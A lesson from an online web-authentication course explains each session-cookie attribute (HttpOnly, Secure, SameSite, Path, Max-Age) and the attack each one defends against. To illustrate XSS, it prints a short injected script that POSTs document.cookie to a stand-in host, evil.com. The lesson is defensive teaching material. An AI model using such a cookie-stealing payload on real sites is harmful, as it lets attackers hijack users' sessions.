hectoday
DocsCoursesChangelog GitHub
DocsCoursesChangelog GitHub

Access Required

Enter your access code to view courses.

Invalid code

← All courses Authentication with @hectoday/http

What Is Authentication?

  • Who Are You?
  • HTTP Is Stateless
  • Project Setup

Passwords

  • Why Not Store Passwords Directly
  • Hashing with bcrypt
  • Building a Signup Route
  • Building a Login Route

Sessions and Cookies

  • What Is a Cookie?
  • What Is a Session?
  • Building Session Management
  • Protecting Routes
  • Logout
  • Cookie Security

Tokens

  • What Is a Token?
  • Anatomy of a JWT
  • Creating JWTs
  • Verifying JWTs
  • Sessions vs. Tokens

Putting It Together

  • Authorization
  • Common Mistakes
  • Capstone: User Management API

Cookie security

In the last few lessons, I snuck a bunch of mysterious words into your Set-Cookie header: HttpOnly, SameSite=Lax, Path=/, Max-Age=86400. You have been using them without really understanding what they do. This lesson is where we pay that debt. Each of those attributes exists to defend against a specific, named, real-world attack. By the end of this lesson, you will know what each one means, what it protects against, and what a production-ready session cookie looks like. This is one of the most practical security lessons in the entire course.

The cookie we have been setting

Let’s look at what our sessionCookie helper has been producing:

session=abc123; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400

Everything after the name=value pair is an attribute. These attributes control how the browser handles the cookie: when to send it, when to delete it, who can read it. Getting them right is critical. Getting them wrong is a recipe for the kind of breach that ends up on the front page. Let’s go through each one.

HttpOnly

Set-Cookie: session=abc123; HttpOnly

HttpOnly is a flag that tells the browser “do not let JavaScript read this cookie.” Without it, any script running on your page can read the cookie with a single line:

// Without HttpOnly, any script can do this:
console.log(document.cookie); // "session=abc123"

Why would that be bad? Let’s walk through a scenario. Imagine your site has a tiny cross-site scripting vulnerability (XSS). Maybe somewhere in your app, you accept user-submitted text and render it into HTML without escaping it properly. An attacker notices and submits a blob of text that contains a <script> tag. Now when other users visit that page, that script runs in their browsers, with full access to the page.

An attacker’s injected script with no HttpOnly looks like this:

// Attacker's injected script
fetch("https://evil.com/steal", {
  method: "POST",
  body: document.cookie,
});

That is it. Game over. The attacker just stole your user’s session cookie. They now have that user’s session ID. With it, they can impersonate the user from their own machine.

HttpOnly breaks this attack. The browser still sends the cookie with requests to your server, so the user stays logged in like normal. But document.cookie cannot see it. The XSS attack can still cause damage (render bad content, trick the user, etc.) but it cannot steal the session cookie.

[!WARNING] Always set HttpOnly on session cookies. There is literally no reason for client-side JavaScript to read a session ID. If you ever find yourself thinking “but I want to read the session cookie from JS for X reason,” find a different design.

Secure

Set-Cookie: session=abc123; Secure

Secure tells the browser “only send this cookie over HTTPS.” Over plain HTTP, the cookie is not sent at all.

Why? Because HTTP is unencrypted. Anyone on the same network (coffee shop WiFi, a compromised router, an internet café, a hotel, a hostile nation-state) can read the traffic in plain text. If the cookie travels over HTTP, an attacker snooping on the wire reads the session ID right off the wire and uses it to hijack the session.

With Secure, the cookie simply does not travel over HTTP. If someone somehow ends up on an http:// version of your site, the cookie is not sent, and they get logged out. That is exactly what you want.

We did not include Secure in our development cookie because localhost runs over HTTP, not HTTPS, and setting it would mean the cookie never works in development. In production, you always want it:

export function sessionCookie(sessionId: string): string {
  const secure = process.env.NODE_ENV === "production" ? "; Secure" : "";
  return `session=${sessionId}; HttpOnly; SameSite=Lax; Path=/${secure}; Max-Age=86400`;
}

This little trick checks the environment and adds the Secure flag only in production. Your dev setup stays simple, your prod setup stays secure.

SameSite

Set-Cookie: session=abc123; SameSite=Lax

SameSite controls whether the browser sends the cookie with requests that originate from other websites. This is the main defense against CSRF (cross-site request forgery), which we briefly touched on in the logout lesson.

There are three values you can set:

Strict: The cookie is only sent when the request originates from the same site. If a user clicks a link on someone else’s website that points to yours, the cookie is not sent. The user will appear logged out until they click around within your site for a second.

Lax: The cookie is sent for same-site requests and for top-level navigations coming from other sites (like a user clicking a normal link). It is not sent for cross-site form submissions, images, or fetch calls from other sites.

None: The cookie is sent with all requests, including cross-site. Requires Secure to be set. This is only what you want for things like embedded widgets that have to work from anywhere.

For almost every application, Lax is the right choice. It blocks the most common CSRF vectors (cross-site POSTs and background fetches) while still letting users click a link from an email or search result and arrive at your site logged in. That second property matters a lot for user experience.

Strict is more paranoid and more secure, but it breaks the “click a link in my email and be logged in” use case. Your user arrives at your site seemingly logged out. That is a bad first impression.

Path

Set-Cookie: session=abc123; Path=/

Path=/ means the cookie is sent for all paths on the domain. If you set Path=/admin instead, the cookie would only be sent for URLs starting with /admin.

For session cookies, you basically always want Path=/. The session should be available on every route. The Path attribute becomes useful for other kinds of cookies, like a cookie that only applies to a specific feature, but sessions are global.

Max-Age

Set-Cookie: session=abc123; Max-Age=86400

Max-Age is the cookie’s lifetime, in seconds. 86400 is 24 hours (that is 60 × 60 × 24). After 24 hours, the browser deletes the cookie automatically, no action needed from your server.

If you omit Max-Age (and Expires), the cookie becomes what is called a session cookie in the HTTP sense: the browser deletes it when the user closes the browser. That term “session cookie” is confusingly separate from our concept of a server-side session. They are two different words that happen to overlap. Welcome to the web, where the naming has been piling up for 30 years.

Setting Max-Age=0 tells the browser to delete the cookie right now. That is exactly how our clearSessionCookie helper works for logout.

What value should you pick? Depends on the app:

  • Max-Age=3600 (1 hour): Good for very sensitive apps like banking.
  • Max-Age=86400 (24 hours): A common default for typical web apps.
  • Max-Age=2592000 (30 days): Good for “remember me” style persistent logins.

[!NOTE] Max-Age only controls when the browser deletes the cookie. Your server-side session can have its own expiry, separate from the cookie. If the server deletes the session after 1 hour but the cookie lasts 24, the user is just walking around with a cookie pointing to nothing. Our authenticate function handles this correctly because getSession returns undefined for missing sessions. You can enforce server-side expiry as an extra layer (we will talk about this in the “Common mistakes” lesson).

Our final cookie

Putting it all together, for production:

session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400

Here is a quick reference of what each attribute protects against:

AttributeValueProtection
HttpOnly(present)Prevents JavaScript from reading the cookie (defends against XSS)
Secure(present)Only sent over HTTPS (prevents network interception)
SameSiteLaxNot sent with cross-site form posts (defends against CSRF)
Path/Cookie applies to all routes
Max-Age86400Browser deletes the cookie after 24 hours

These five attributes together make the cookie resistant to the most common web attacks: XSS cannot steal it with JavaScript, network snoopers cannot intercept it on plain HTTP, and cross-site attackers cannot trick the browser into sending it with a forged request.

This is exactly how production apps handle session cookies. Gmail. GitHub. Your bank. They all do this.

Where we are

We have now built a complete, production-shaped session-based authentication system:

  • Signup with hashed passwords
  • Login with a secure session cookie
  • Protected routes via a clean authenticate() pattern
  • Logout that actually logs out
  • Secure cookie attributes defending against the usual attacks

That is the session world, fully explored. In the next section, we look at the completely different approach that the tech industry has been obsessed with for the last decade: tokens, specifically JWTs. Tokens flip the whole model upside down. Instead of the server remembering who you are, the client carries the proof of identity in every request. Same problem, different solution. Let’s see how it works.

What does HttpOnly prevent?

Why is SameSite=Lax generally preferred over SameSite=Strict?

← Logout What Is a Token? →

© 2026 hectoday. All rights reserved.